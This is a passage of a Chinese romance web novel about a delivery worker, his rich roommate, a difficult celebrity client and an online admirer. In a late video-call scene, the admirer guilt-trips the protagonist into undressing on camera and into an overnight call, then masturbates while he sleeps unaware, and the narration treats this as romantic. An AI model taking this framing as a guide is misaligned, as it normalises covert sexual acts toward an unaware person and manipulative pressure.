“我原本也是不想让你去的,但是客人点名要昨天中午的服务生送餐。”程姐说着叹口气,似乎也觉得没必要嘱咐太多,“他要是说什么你就当没听见,要是他又有意见,等我回头去找他赔礼道歉就行。” 司谨心底有些感动,点了点头。 “我知道了程姐。” 去酒店的路上,司谨一直在努力给自己做心理建设。 等到了地方,他敲了门后退,等待着门像昨天一样开条缝隙。 可只是两秒后,门打开,他惊讶抬头,却看见了一张熟悉的面容。 “司谨?”燕绥安皱着眉头,视线落在他拎着的保温袋上,“你来送餐。” 司谨没想到会在这里看见他,这会儿脑子一片混乱,仓皇点了头,正要张口说词。 “不用说了,进来吧。” 燕绥安转身进屋。 司谨愣怔片刻才反应过来跟进去,关门的时候忽然想起来小李在休息间说的八卦,这会儿脑子嗡的一下,不可置信。 燕绥安该不会……跟宋阅是那种关系吧? 他刚进去,宋阅就从房间里出来,拖长音调喊:“绥安哥,我穿那身真的好吗?” 司谨刚抬眼就瞥见两条雪白的长腿,这才发现宋阅只穿了衬衫短裤,这会儿在射灯下身材暴露无遗。 虽然性别都一样,但他还是下意识垂下了目光,认真去餐桌上摆开餐具和菜式,不敢往边上多看。 可是燕绥安一直站在离他不远的地方,似乎一直在盯着他。 “随你自己。” “你帮我挑一挑嘛,今天晚上直播诶。” “你的造型师呢?” “我想让你帮我挑嘛。” 两人的语气听起来很是熟悉,司谨大气都不敢出,总觉得自己好像撞破了什么惊天大秘密。 难怪燕绥安那天晚上会和谢宇珩说是自己是他男朋友,原来他真的不怎么在意这些,而且……自己还有个明星男友。 但是昨天搜索词条的时候,好像说宋阅定居在京市,那他们岂不是异地恋? 脑子里的问题一个接一个,但他只敢自己好奇,压根不敢表现出分毫。 “把衣服穿好。” “好吧。” 宋阅不情不愿回房间穿上外套和长裤,出来以后往餐桌一撑,冲着正在收拾包装的司谨笑了起来。 “真是辛苦你啦,今天不用在这,你可以直接回去了。” 司谨骤然松了口气,露出由衷的笑容:“好的,祝您用餐愉……” “走什么?留下一起吃。” 话还未说完,便被燕绥安给打断了。 司谨和宋阅同时怔住,燕绥安却不以为然,拉开椅子坐下。 “一起吃吧。” 司谨有些惊慌,正要拒绝,意见更大的宋阅便不高兴了:“绥安哥,我们两个一起吃饭,你让服务生留在这做什么?” 他说完顿了顿,似乎又觉得自己语气不好。 “我的意思是,他在这照顾我们两个用餐太辛苦了,还是让他先回去吧。” 看着同昨日判若两人的宋阅,司谨心中百感交集。 “他坐着吃。”燕绥安不耐烦,“他是我朋友。” 此话一出,宋阅愕然看向司谨,像是不可置信。 司谨也没想到燕绥安会这么说,犹豫着说:“我还是回去工作吧,我今天带了饭的。” “不行,坐下。”燕绥安没有改变想法。 一粟的规定是客人的要求需要尽量满足,如果这一餐是燕绥安订的,司谨肯定会听从他的安排,可是…… 他看了脸色难看的宋阅一眼,却是怎么也不敢坐。 要是真吃了这顿饭,宋阅回头又要给餐厅差评,而且说不定这次连程姐亲自来都安抚不好了。 对峙几秒后,宋阅抬手摸了摸脸,还是退了一步。 “好吧,既然是绥安哥的朋友,就坐下一起吃吧,我进去换身衣服,一会儿方便出门。” 燕绥安点头答应,他便转身去了房间。 趁着人没回来,司谨垂下眼看燕绥安,小声哀求:“你别这样,等会他会打差评的。” 燕绥安满脸都是不理解:“多个人吃饭而已,为什么差评?” 司谨不想背着人家说坏话,只能说:“谁跟男朋友约会的时候希望有外人啊,你也要为他想一想。” “……” 燕绥安不解的表情逐渐消失,浮上的困惑转化成愠怒。 “你瞎说什么?” “谁是他男朋友?” 司谨愣住,被他逼问到脸上泛起热度,后知后觉反应过来自己会错意了,他只觉得羞耻。 “司谨,你在胡思乱想什么?” “对不起。” 燕绥安气得不行:“你给我坐下,别在这站着了。” 他一想到司谨脑补了什么,就忍不住气到头昏。 司谨自觉心虚,想了想在边上的位置坐下,同时瞥了眼房间门,小声辩解:“我不是故意的,我只是以为……” “你以为?”燕绥安简直气笑了,“他是我哥公司旗下的艺人,我只是顺道跟他吃个饭。” 司谨垂下脑袋,有点自闭。 “对不起,我错了。” 好在没多久宋阅就回来了,热情温柔地同燕绥安说着话,没有丝毫要刁难他的意思。 司谨懊恼握着筷子,没敢吃太多。 他知道,只是因为今天小李在休息间说的那些,导致他先入为主,以为燕绥安是昨天跟宋阅一起待在酒店里的男人,所以才误会了他们之间的关系。 好尴尬啊。 “原来这是绥安哥的室友啊。”宋阅在燕绥安的介绍下转向司谨,“实在不好意思,刚才不知道你和绥安哥的关系。” 司谨哪敢接受他的道歉,忙道:“没关系的宋先生,希望您不要介意我的打扰。” 宋阅笑了:“怎么会呢,放心,我一会儿就给你一个五星好评。” 司谨眼睛微亮,诚恳冲他点点头:“麻烦您了。” 吃完饭,司谨带着收拾好的垃圾离开,走之前还不忘和宋阅打招呼祝福。 宋阅笑笑,一副温和好相处的模样。 但下一秒看见燕绥安也披上外套,脸色骤然就变了。 “绥安哥,你不是送我去公司吗?” 燕绥安抬手看了眼时间:“我现在过去,在楼下等你十分钟,自己收拾好东西下来。” “啊?” 宋阅看着一屋子要带的东西,不禁怀疑人生。 “你至少帮我提点东西吧——” 话还没说完,门已经在眼前关上了。 司谨走进电梯,缓缓合上的门忽然被一只手阻挡了闭合,感应后自动开启。 他被吓了一跳,看见燕绥安微蹙着眉头,呼吸有些重。 “你怎么了?” 燕绥安大步进来,站在他边上摁下关门键。 “准备去工作了。” “那……宋先生呢?”司谨记得刚才宋阅说过要和燕绥安一起去公司准备直播的。 “让他自己去。”燕绥安说到这轻咳一声,“我跟他没什么关系,昨天晚上才第一次见面。” 司谨不懂他为什么说这些,但还是点头:“哦。” 燕绥安却警惕地看着他:“你别又瞎想,昨晚酒桌上一群人,可不是单独的,昨晚你听见我回家开门的声音没?” 他的语气含着期待,可是司谨还是摇了头。 “没有,我睡太熟了。” “……” 电梯门打开,燕绥安抬腿出去。 “他的助理出了点事情,团队也没交涉好,我哥让我多照顾他一些,本来中午应该出去吃饭,但他说身体不舒服就点了外送,没别的意思。” “我知道了。”司谨还是没太懂,“你刚才已经解释过了。” 燕绥安盯着他看了好一会儿,却还是很不爽的样子。 “你真的别乱猜,我跟他没关系。” 司谨不明白他为什么解释那么多,但还是乖乖听着点头:“嗯,我知道。” 燕绥安皱着眉头,只能放过他。 看着那人丢完垃圾,没心眼往红绿灯走去,燕绥安还是觉得心里头不舒服。 坐进车里,他忍不住拨通了燕尚的电话。 对面刚接通,他便发起了牢骚。 “你以后别再给我派这种活了!我又不是陪吃饭的鸭子,你自己的艺人自己照顾!” “……”电话那头的燕尚沉默两秒,“他怎么你了?” 燕绥安阴沉着一张脸,压着声音发脾气。 “都怪你的艺人,害我老婆误会了!” 燕尚那句“你哪来的老婆”还没说出口,电话就嘟的一声挂断了。 第24章 “燕总?” 面前正在念文件的助理面露疑惑,燕尚看着黑屏的手机,搞不懂自己这个便宜弟弟又在发什么疯,嘴角不住抽了抽。 “没事,继续。”- 忙完中午档的一粟餐厅,休息室热闹非常。 “真的假的?” 彭露嘴都合不上了,“今天真不差评?” 司谨将换下来的衬衫叠好,准备带回去洗干净,闻言笃定点头。 “宋先生是那样说的,他今天看起来心情也很好,没有提其他的要求,本来还说让我先回来的,但是他的朋友邀请我留下一起吃饭。” 小李露出艳羡的表情:“不会是他男朋友吧?” “应该不是。”司谨艰难开口,“好像是朋友。” “哎呀当着人的面肯定不会那么亲密,肯定是男朋友。” “要说他们也是够腻歪的,昨晚就一直在。” 听见这些讨论,司谨皱皱眉头,没有再继续参与话题。 今天又是周日,他前几天在网上看见了看起来很美味的酸菜牛肉粉做法,准备今天晚上回去试一试,然后早一点休息,明天去上班。 去超市采购完食材,他回到家将买来的速食放进冰箱,刚收拾完准备开始准备晚餐,就接到了程姐的电话。 虽然他每周都在一粟兼职,但因为他每次都很准时,也没有闹出过什么大问题,所以程姐基本上没有主动联系过他。 看见来电,司谨心中本能升起了不好的预感,接起电话,对面就传来了程姐的叹息声。 “小司,你回家了吗?” 司谨听见她的语气,心中的猜想越发笃定。 “你今天中午给对面酒店客人送的餐还记得吗?他这边的评价不是很好,而且……是针对你个人的,我这边刚联系过,但是电话没有打通,你能和我说说中午都发生了什么吗?” 程姐的语气中满是疲惫和无奈,但和司谨说话时态度还是温和的。 司谨脑袋发懵,一五一十将中午的事情和她说了,告诉她宋先生的朋友是他的室友。 说完,对面沉默片刻,叹了口气。 “我走之前也和他打过招呼了,而且他今天也没有挑刺。”司谨十分不解,“他还答应,说一定会给餐厅打好评的。” “这些客人……”程姐说到一半止住了,“小司,回头如果我联系上了宋先生,他不愿意撤销差评的话,可能还要麻烦你过来一趟。” 司谨知道差评对店铺的影响很大,况且他兼职拿的工资,也的确有义务解决这些。 “我知道了程姐,我会配合的。” “嗯,这件事情不怪你,你也别太自责,我这边尽力处理。” “好。” 结束了通话,司谨站在空荡荡的客厅,原本轻松愉悦的心情跌落谷底,胸膛中涌动着愤懑和不解。 他不明白,明明答应了不给差评,为什么还要这么做。 如果对他的服务不满意,当时就可以直接说出来的,那样他还能够即使弥补。 眼眶微微发酸,他转头继续去做饭。 明明是看着教程做的,卖相也不错,可是等吃进嘴里却觉得索然无味。 收拾完一切,他回到房间,看见了彭露五分钟前给他发的消息。 【你没事吧?那个客人真的太奇葩了,要不是有规定要保护客人隐私,我真想让他的粉丝都看看他是个怎样的人!】 司谨垂眼打字安慰她,和彭露聊了几句才想起来去看差评的内容。 [送餐的员工留下蹭饭,还和客人套近乎,你们餐厅的外送员不是说很专业吗?怎么一点专业性都没感觉到,严重影响到了我的用餐心情] 一粟的最新评价就在页面上飘过,司谨看完怔了几秒,呼吸一下子变得急促。 他终于知道为什么程姐会说这条评论只针对他个人了。 浓郁的委屈积攒在心里,像是撑鼓的气球,让他逐渐有了种呼吸困难的错觉。 叮咚一声,安静的房间里响起了访心的消息提示音。 随便:【宝宝,今天可以打电话吗?】 随便:【期待JPG】 司谨一看见他的头像,眼眶就止不住发酸,倾诉的欲望强烈,可还是选择了拒绝。 北极生活的小熊猫:【明天再打可以吗?我今天心情不好】 消息发出去,访心的来电申请弹了出来,随便的消息在页面上飘过。 【跟我说说好不好?不要憋在心里】 【乖宝,听话】 司谨抓着手机躺进被子里,犹豫着还是摁下了接通。 他将手机放在枕头边上,自己侧躺着掖好被角,有点迷茫地听着对面传来的窸窣声,难以集中注意力。 “谨宝?” 随便的声音传过来,方才有些吵闹的背景音都消失了。 司谨回神:“嗯。” 他原以为随便会问他今天发生了什么。 “吃饭了吗?” “吃过了,你呢?”司谨犹豫着回答。 “我刚吃完,今晚是助理去隔壁酒店打包的,我工作还没结束,没时间出去吃,味道不好,没吃饱。” 司谨听着他幽怨的语气,小声安慰:“那等下班了记得吃夜宵吧。” “听宝宝的。”随便笑了笑,“今晚是自己做饭吗?” 这些简单的话题让司谨的心情稍微放松了一些。 “是,我今天做了酸菜牛肉粉,跟教程差不多。” “好棒啊,拍照了没有?” “没有,忘记了。” 随便的语气惋惜:“好吧,如果以后有机会,宝宝做给我吃好不好?” 现在说这个显然很远,但司谨还是答应。 “好。” “今天兼职累不累?前几天不是说肩膀痛。” 提起兼职,司谨的心又沉了下去。 “还好不是很累,今天肩膀不痛了,可能是前两天睡觉的姿势不太好。” “不舒服可以按摩一下,我帮宝宝预约明天晚上好不好?” “我想早点回家休息。”司谨小声拒绝,又怕他不高兴,“等周五我再去吧。” “好吧。”随便终于进入正题,“宝宝是因为兼职不高兴吗?又遇见了刁蛮的客人?” 司谨沉默了足足半分钟,将半张脸埋进枕头里,想起来还是忍不住酸了眼眶。 “嗯。” 很明显的鼻音,听着好像哭了。 随便顿了顿,语气中多了些心疼:“谁这么坏。” 其他时候司谨喜欢把事情憋在心里,可不知道是不是已经成了习惯,此时听见随便的声音,莫名就有了倾诉的欲望。 他强压着心中的委屈,将今天的事情简略说给了他听。 “他说好不差评的,那时候本来我不想留在那里,可是他朋友让我坐下吃饭,他也答应了,我没办法拒绝……如果他不想本来可以直接说的。” 说完,对面的随便安静了很久,半晌呼吸沉了沉。 司谨其实也没有非要等着别人安慰自己,这会儿自己努力调节好情绪。 “之后该怎么处理?”随便问。 “店长说她先去问问客人愿不愿意撤销,如果不能的话过两天我要去道歉。” 司谨说到这仍觉得委屈,但已经在逐渐接受了。 “好不讲理。”随便的声音听起来也不是很高兴,“说不定店长可以说服他呢。” 司谨吸吸鼻子:“如果这样的话就好了。” 他其实并没有对这个方案抱多大的希望,毕竟宋阅看起来是真的很不好说话,之前的那些差评虽然基本上都被他收回去了,但这次的看起来就是奔着他来,如果他不上门道歉的话,可能很难解决。 “宝宝,不要想了,先睡一觉,等明天起床肯定会有好消息。” 司谨张张嘴,还是没说出心里那些话。 随便的语气是那样温柔笃定,带着安抚人心的柔软,居然真的让他心中的焦虑减少了些许。 “好。” 倾诉完,他的心情也好受了不少,后知后觉感受到了困倦。 “那我先睡觉了。” “嗯,宝宝晚安。” “……” 辗转许久,司谨还是有些睡不着,点开手机正好看见随便又给他发了几条消息。 随便:【收到宝宝的礼物了!是宝宝特意给我选的吗?】 随便:【很合身,好爱你】 底下弹出一个视频,司谨后知后觉明白是自己给他买的击剑服到了,困倦的同时又升起好奇心。 他点开视频,背景是个空旷的健身房,画面微微摇晃一下,穿着白色击剑服的高大身影出现在视频中,戴着头盔微微偏开镜头,看不清楚脸,但被击剑服衬托出的优雅绅士气质却让司谨笃定他长得不会难看。 好好看。 击剑这项运动对于司谨来说太远了,他做了很久的功课才买了好评诸多的高阶明星款。 北极生活的小熊猫:【你喜欢就好】 随便:【宝宝不夸我吗TAT】 司谨觉得他有点可爱。 北极生活的小熊猫:【很帅,你长得好高,穿击剑服特别酷,以后如果你去玩,可以拍一个视频给我吗?我不是很了解这项运动】 也许是收到了随便的影响,他现在居然也不觉得夸赞人是一件为难的事情,发完以后还又特意点开了随便发来的视频。 男人的肩膀很宽,腿也很长,腰却是劲窄有力的,比他买衣服时候看的那些官图模特身材都要好。 只是看着看着,他的目光又止不住落在了模糊的头盔网上。 他对底下这张脸产生了很大的好奇心。 随便:【OK满意了】 他发完,下面又搭配了一个可爱的兔头咬耳朵的表情包。 司谨止不住去想象是随便在做这个动作,有点被萌到。 关上手机睡觉,起初迷迷糊糊间还是会去焦虑去和宋阅道歉的事情,但之后莫名就变成了一个穿着击剑服的男人站在他面前,一口一个宝宝老婆。 最后不知道怎么的就自己生起气来,把头盔摘下丢在边上,露出了一张看不清楚的脸。 司谨局促站在原地,还是抵挡不住好奇心凑近了去看,可是却被男人揪着后颈凑过来亲了一下。 下嘴唇被啃到发疼,他下意识伸手去推,可是一抬头就看见了燕绥安那张不爽的脸。 猛地睁开眼,窗外的阳光洒在地板上,细碎折射在天花板,显得屋子里很温暖。 司谨还大喘着气,心情好半天都没能调节过来。 这个梦……好恐怖啊- 上午和随便约好了晚上视频,其实司谨当时想问他会不会开摄像头,但是纠结好半天还是没敢问出口。 风浪新来的实习生干了两个月被劝退了,编辑组持续招人,谢子奇手底下的作者被其他编辑筛了一遍,账号里剩下的作者在还没有新编辑入职的时间里暂时交给了司谨,导致他的工作量又加大了不少。 加了一会儿班,离开公司时打算给随便发个消息告知情况,却看见两小时前程姐发来的信息。 一粟餐厅-程姐:【那条差评已经撤销了,客人说当时喝醉了不清醒乱写的,还让我替他向你传达歉意】 司谨微怔,回复她好的,但心底其实很不敢相信。 居然主动撤销了差评,那也就是代表他不用再上门去道歉。 想到这里他松了口气,虽然还觉得不可思议,但既然事情已经过去,便不再多想影响心情了。 和随便分享了这份喜悦,一路上断断续续聊着天,等司谨回到家,进门却看见了一双高跟鞋。 这幅画面实在熟悉,导致他根本没任何思考,就知晓又是封阿姨来了。 犹豫片刻,他给随便发了一条消息。 北极生活的小熊猫:【我室友的妈妈又来了,可能要晚一点才可以打电话】 走进客厅,果然看见封阿姨就坐在沙发上。 “小谨回来了。”封冉悦一见他便露出了笑容,看见他手上拎着刚从商场买的青菜,“还没吃饭吧,咱们等绥安回来一起吃。” 司谨下意识以为又要去外面吃饭,正要拒绝,身后的厨房就传出了脚步声。 “封女士,食材都处理好了。” “好,时间也差不多了,你们先做着吧。” 封冉悦吩咐完,司谨回头,便看见穿着厨师服的三人进了厨房。 这是…… “小谨来,忙一天工作也累了吧。”封冉悦抬手招呼他,“来吃点水果。” 她的态度温柔而热情,让司谨招架不住,只能顺从过去坐在她身边,看着面前品种丰富的水果拼盘,只用叉子挑了一块哈密瓜小口吃。 “阿姨,你是特意来看燕绥安吗?” 封冉悦无奈笑笑:“上次在海城还有些事情,过两天准备回京市一趟,这不是特意来给你们做顿饭吃。” 司谨不好意思多说什么,只好笑笑:“您对他真关心。” “毕竟是家里最小的嘛。”封冉悦说着轻咳一声,“对了小谨,阿姨问你一个问题。” “您说。” “你平时跟绥安住在一起,有没有见过他带女孩回来啊?” 司谨一愣,犹豫着摇头:“我没有见过他带人回来,我们有约定,是不能随便带人来家里的。” “这样啊。”封冉悦脸上的笑容淡了些,颇为不满,“这孩子还真是精明,什么事都瞒着家里。” 不清楚他们又发生了什么,司谨不敢随便说话。 但封冉悦却并没准备放过他。 “那你有没有听他提起过女朋友啊?” 司谨更困惑了:“他有女朋友吗?” 他记得昨天在酒店的时候,燕绥安极力在他面前与宋阅扯开关系,难道是担心他未来见到燕绥安的女朋友乱说话? 但……好像也不是这么回事吧。 经过了昨天的误会,司谨决定不再胡乱猜测。 “我也不是很清楚他的事情,您可以等他回来问问他。” 封冉悦面露无奈:“他什么也不和我说,要不是他大哥告诉我,我都不知道他在外面有对象了。” 司谨很好奇,但依旧不敢问,只听着她絮絮叨叨把来龙去脉说了出来。 “听着还喊得很亲昵,都叫上老婆了,指不定背着我们谈了多久呢。” 司谨完全想象不到这幅画面,只好顺着点点头。 厨房里头传出动静,不过多时大门外传来进门的声音,封冉悦脸上露出笑容。 “回来了?” 她刚起身,司谨也扭头看向玄关,可是却看见进来的燕绥安脸色是阴沉的。 “妈,你怎么又来了?” 这话说的毫不客气,他此时也蹙着眉头,表情不太好看。 司谨敏锐察觉到封冉悦的情绪低落下去。 “过两天我要回京市了,今天来给你做饭吃,平时在外面肯定吃的不好,今晚你尝尝厨师的手艺,要是合适的话以后我就让他每天来给你们做饭。” 燕绥安看了端坐在沙发上的司谨一眼,眉头皱的更紧了。 司谨对上他的目光,察觉到什么,下意识起身:“阿姨你们先聊,我去房间里放东西。” 人家母子两闹不愉快,被别人听见肯定不高兴。 封冉悦勉强挤出笑容冲他点头,燕绥安却是不管不顾。 “用不着,而且我说过很多次了,你要来提前告诉我。” “妈妈来看看你还要提前预约?难道我是外人吗?” “你以为这里只有我一个人住吗?” “人家小谨都没说什么,况且你要是想一个人住,妈妈还高兴呢,中心城的别墅区早就装修好了,离你公司也近,妈妈给你请好保姆和厨师,他们能把你照顾的更好……” 关上门,外头的声音总算被隔绝。 司谨长长舒了口气,心情是说不出来的复杂。 他早知道燕绥安的家里有钱,却没想到是这种程度,但既然是这样,燕绥安又为什么要合租呢?他完全可以在这里买一套自己的房子单独住。 也许是因为一个人无聊?但是他们住在一起的时候,燕绥安也不怎么跟他打交道啊。 司谨不能理解,如果他有这个能力的话,肯定更偏向自己一个人住,更加安静放松。 外面客厅。 封冉悦越是说,燕绥安的脸色就越是难看。 虽然司谨离开时脸上还带着笑容,但他知道对方的心里肯定很不自在,方才进门时看见那张白皙小脸上挂着无措和迷茫。 “妈,你能不能少管我的事?” 封冉悦按捺不住心底的怒意:“你是我儿子,我不管你谁管你?” “等你走了以后,我会修改房门密码。”燕绥安看也不看她,“以后你少来海城吧,有事我回去就行,别再来打扰我室友了。” 封冉悦不可置信:“你这是在赶妈妈走吗?” 燕绥安没什么表情:“我也不想的,但我真受不了你隔三差五就跑我这来了,有这闲情跟姐妹约着去打打牌旅旅游不好吗?您以为我不知道您的目的?” 被戳破了心思,封冉悦脸上也挂不住。 “妈妈只是关心你,对家里人又不热情,这些年也不谈个朋友,好不容易听见你大哥说你谈恋爱了,妈妈只是想确定一下,如果是真的……” “是真的又怎样?要开始逼着我结婚吗?” “你这孩子,妈妈不强制你找个怎样的对象,但人品一定要好,你告诉妈妈是谁,妈妈可以帮你打听啊,知根知底的以后订婚也方便,万一说有什么问题,你们也好聚好散。” “这您就不用费心了,他怎样都跟您没关系。” “……”封冉悦说一句就被他怼一句,止不住沉了脸,“妈妈也不是棒打鸳鸯的人,只是怕你被骗了。” 燕绥安忍无可忍:“您以为我是什么未成年早恋吗?我都二十多了,基本的判断能力还是有的,况且现在人还没追到手,您就别来烦我了。” 终于逼问到他透露一些,封冉悦这下也不计较他前面的话了。 “还没追到?那你大哥怎么说你还叫人家老婆?” 燕绥安重重闭了一下眼睛,深吸口气。 “我就不能自己偷偷幻想一下?” 封冉悦这下露出无语表情,略显嫌弃:“我以为你多能呢,结果还是没对象。” 燕绥安比她更无语:“您要是少来几趟,我说不定就谈成了。” 封冉悦本能觉得这话不太对劲,但硬是没想出问题所在的地方- 封冉悦把儿子给惹毛了,晚上吃完饭便也没久待,临走前还特意跟司谨道了歉。 等人走了,司谨抓着手上的礼盒,总觉得不自在,想了想还是将其放在了茶几上。 燕绥安将人送到楼下,上来看见司谨还站在客厅,撇了眼桌子上的礼物就知道他在顾虑什么。 “只是一点小礼物,可以先拆开看看。” 他上次和封女士说过了别送给别人压力的礼物,这回应该是有改进的。 司谨犹豫着拆开,看见盒子里是一只毛绒布偶猫的手机壳。 后面的毛摸着很柔软,型号也正好适配他的手机。 燕绥安松口气:“收着吧,她平时就喜欢这种稀奇古怪的东西。” “这个很可爱。”司谨觉得应该也不会很贵,便放心收下了,“麻烦你帮我谢谢阿姨。” “嗯。” 燕绥安看着他将手机装上去,左看右看很新奇的样子,正想笑就想起一件事。 “你、今晚没有安排吗?” 司谨面露疑惑:“没有啊,我一会儿洗个澡就准备睡觉了。” “是吗?”燕绥安表情复杂,“那早点休息。” “嗯,你也是。” 司谨看着他回房间,自己也回去给随便发消息了。 今晚的视频推迟了这么久,也不知道他有没有生气。 但是消息发出去很久,对面都没有回复,打过去的电话也没人接。 熬了半天,司谨还是起身先去洗澡了。 其实他原本是想打完视频再去洗澡的,毕竟穿着外衣的时候穿得更整齐,而他的睡衣松松垮垮的,到时候可能真有宋晓西说的那种不正经电话感觉。 夜深温度很低,司谨洗了个热腾腾的澡,出来的时候皮肤还泛着蒸红的粉。 原以为今晚随便不会回消息了,可是刚扯着领口过大的睡衣坐在床上,手机就响起了访心的视频申请音乐。 第25章 接通视频,司谨看见屏幕上只出现了自己的脸,一时间有些不满。 “你呢?” 他将房间的大灯关上了,此时只有床头的护眼灯散出些许光亮,衬得穿着V领毛衣坐在床上的他特别乖。 对面发出细微的窸窣声,也开了摄像头,但是一片漆黑。 司谨皱皱眉头:“你开灯呀。” “太晚了。”随便似乎是躺在床上,声音含含糊糊的,“宝宝跟我说说话好不好?” 司谨把手机往床上一放,摄像头对准了天花板。 “那我也这样。” 对面传来很轻的笑,使司谨后知后觉意识到自己的反应有多幼稚。 “谨宝,体谅我一下好不好?” 随便的声音有点哑。 “什么?”司谨觉得耳朵有点烫。 “我长得不好看,怕你嫌弃我。” 随便说这话时语气难过,听着倒真像是自卑委屈极了。 司谨的心被重重戳了一下,虽然不知道真假,但还是凑近手机说:“怎么可能啊,你长什么样子都没关系的,而且我也不是很好看。” 他嘴笨,不知道要怎么安慰人,这些话说出来觉得好像更不对味了。 对面的随便很轻地笑了声,说:“怎么会?你最好看了,而且……” 以为他要说什么,司谨微微竖起耳朵,却听他沮丧道:“也是,反正我长什么样你都不喜欢我。” “……” 司谨想起先前和他说的那些拒绝的话,有点内疚。 想解释什么,随便却没给他机会,只是继续用那种可怜的声音说:“宝宝可以把脸露出来吗?我想看看你。” “你不要这样说话。” “我今天心情不好。” 司谨脸止不住发着烫,听见随便低声说出的那句话,心里面一下子提起了担忧。 “怎么啦?” 随便虽然经常跟他说现实生活中的事情,但多半都是有意思的趣事,基本上没有表现出心情极度不佳的状态。 也许是因为他同随便倾诉过太多次,这会儿理所应当就警惕起来,竖起耳朵想要为随便分忧。 “就是不高兴,本来以为晚上可以和宝宝视频,多看看宝宝,结果连脸都看不见,还因为长得丑被嫌弃了。” “……” 司谨张张嘴,辩解无门。 他压根就看不见随便的长相,哪来的嫌弃一说。 可是这话都被随便说去了,他也没办法,只好拿起平放着的手机,将镜头对准了自己。 画面中的青年皮肤瓷白,身上的浅色毛衣更显得他皮肤细嫩,此时头发微微湿润着垂下,显得年纪有些小,认认真真望着手机的模样很呆。 “你说话啊。” 半天没有再听见随便开口,司谨莫名有点脸热,只好开口催促他。 半晌,对面发出一声很轻的叹息,意味不明。 “宝宝,你这样真的有点像我老婆,感觉特别亲密。” 司谨不知道怎么接话,眼神飘忽。 “你怎么老是说这种话?” 虽然说过很多回,但还是会让他觉得很不自在,他其实从来都没有觉得自己好看过,扯了扯身上的毛衣,他又抬起头小声说:“是你给我买的衣服好看,穿着也很舒服。” 他是真心感激随便,但是对面却只是轻笑。 “宝宝,想你。” 司谨能够感觉到他隐藏在话语中的依赖,但是他不太理解这里的想是什么意思。 “我不是正在跟你打视频吗?” “但是触碰不到你,隔着屏幕,只能看。” 他没有往下说,但是司谨并不难猜到他后面要说的话,默默选择了无视。 “我以为今天晚上不用打视频了的,所以刚才去洗澡了,现在准备睡觉。” 他希望随便可以听懂暗示。 “那宝宝怎么还穿着外衣?房间里没有开暖气吗?” “不是……”司谨拧着眉头纠结好半天,“因为你送我的睡衣太大了。” 其实这件事情他一直都没有跟随便说,毕竟是别人特意给他买的礼物,他再挑刺就显得太不知好歹了,但其实他也觉得奇怪,随便给他买的其他衣服都很合身,只有睡衣大了这么多。 果然,随便听后也很惊讶:“是吗?不合身吗?” 司谨认认真真点头,曲起膝盖用被子抵住手机,让它竖起来,然后自己用手比划了一下领口和袖口的位置。 “我动一下就会往下面掉,袖子也长了,把我的手都盖住。” 说完以后听见对面没了声音,他又连忙道:“不过是睡衣,宽大一点也没关系,而且布料很柔顺,穿起来很舒服的。” 随便的声音一下子好像蔫了下去。 “宝宝现在穿着吗?” “嗯,在毛衣里面。”司谨思忖片刻,从毛衣袖口里揪出了一截过长的睡衣布料。 “好像不是很大,我看看领口。” 司谨下意识要脱掉毛衣,但手刚扯着衣摆,就觉得好像有哪里不对劲。 “为什么要看?” 随便的声音听起来很正经:“我记得买的尺寸是合身的,是不是商家发错了货?” “啊?”司谨觉得有道理,想了想还是抬手把外面的毛衣脱掉。 睡衣柔软贴在身上,宽大的领口顺着他将毛衣放在一边的动作微微往下掉,露出半个在昏暗环境中泛着白皙的莹润肩头。 坐稳了,他对着镜头扯扯领口,看着屏幕上的自己,莫名就很不好意思。 “就是很大,你看。” 他说着抬起手,长长的袖口就往下掉,堆在肘弯。 随便沉默两秒,说:“确实大了很多。” “嗯嗯!” 司谨认真点点头,然后扯着被子盖住一点胸口,靠在床头盯手机。 “我再给宝宝买一身。” “不要了。”司谨就知道他会这么说,“睡衣宽一点没关系的,我觉得很舒服。” 他说完,学着直播卖衣服的展示动作搓了搓落在手腕上的柔软布料,做完又觉得自己的动作有些傻,抿着嘴唇冲镜头笑了笑。 “好,都听宝宝的。” 不知道是不是司谨的错觉,随便的声音好像有点哑。 聊了没多久便开始犯困,司谨想着如何顺利结束视频,就听见对面发出了细微的窸窣声,好像是随便在掀被子。 “宝宝困了吗?” 眼睛睁开都有点困难,司谨毫不犹豫点点头:“我想睡觉了。” “还想跟宝宝挂睡呢。”随便语气有点失落。 司谨反应了好一会儿才想起来挂睡是什么意思,脸颊又止不住热了起来:“还是不要吧,明天起来没电会关机的,我还要听闹钟。” “打一会好不好?”随便的声音中带着点儿恳求,“宝宝,熬夜太无聊了,我想听着你的声音,等准备睡觉了我就挂。” 司谨很为难,不知道该不该答应他。 好半天,随便叹了口气,难过地说:“那好吧,既然宝宝不想跟我打,那就挂了吧。” 他的声音听起来委屈极了,司谨的心脏突突跳动,一股自责随之涌上。 “那好吧,但是你要早点休息。” “放心宝宝,我最听你话了。” 随便的情绪变化是这样迅速,快到让司谨都有种恍惚的感觉。 片刻后将手机搭在枕头边上,镜头扫到大片的床,只有一角能照到被子半掩住的圆滚脑袋。 司谨并没有关闭对面的声音,他闭上眼睛能够听见随便那边的细微声响,似乎是在回复消息,薄膜键盘敲击的声音轻微而富有节奏感,起初很不习惯,可伴随着对面的低低呼吸声听久了,却让他感觉到很隐约的安心感。 困倦随之涌上脑海,他便沉沉睡了过去。 等呼吸变得匀长轻缓,对面的动静也随之消失,这侧床头的小夜灯亮着微弱的光,影影绰绰映亮了枕上莹白如玉的侧颊和耳朵。 “宝宝?” 没有人回应,床上的人并未被惊扰。 “谨宝…老婆。” 呼吸悄然变得急促,对面像是自己也没预料,喘息声逐渐又沉又重。 不知过去多久,一声闷哼,对面逐渐安静下来。 再度开口时,覆着温柔的青年音已经消失,不带一丝伪装的低沉嗓声微哑,有些小声地唤了句:“司谨。” 床上的人没有任何动静,仍旧熟睡着。 “晚安。” 床头定时的小夜灯悄然暗了下去,房间内陷入一片漆黑,嘟的一声,视频电话也被不情不愿挂断- 工作忙碌的时间总是过得很快,编辑组还没迎来新编辑,司谨周末都得留意着消息。 等到再下一周去兼职,见面后程姐便递了份礼物给他。 “这是之前宋先生撤销差评以后亲手送来的,说希望你能原谅他那时的不理智。” 司谨有种做梦的感觉:“真的假的?” 他简直要以为这是程姐在故意逗他了。 “当然了,你快拆开看看吧。”程姐工作这么多年了,也没见过这么奇怪的客人,前脚还嚷嚷着不会撤销差评,后脚就自己改成了千字好评,还着重表扬了一粟的外送餐员专业性很强,最后居然主动上门送了份礼物。 司谨拿起那个精致包装的礼物盒,一时间居然有些无从下手。 彭露她们也早围了过来,趁着这会儿还不忙,催促他快打开看看是什么。 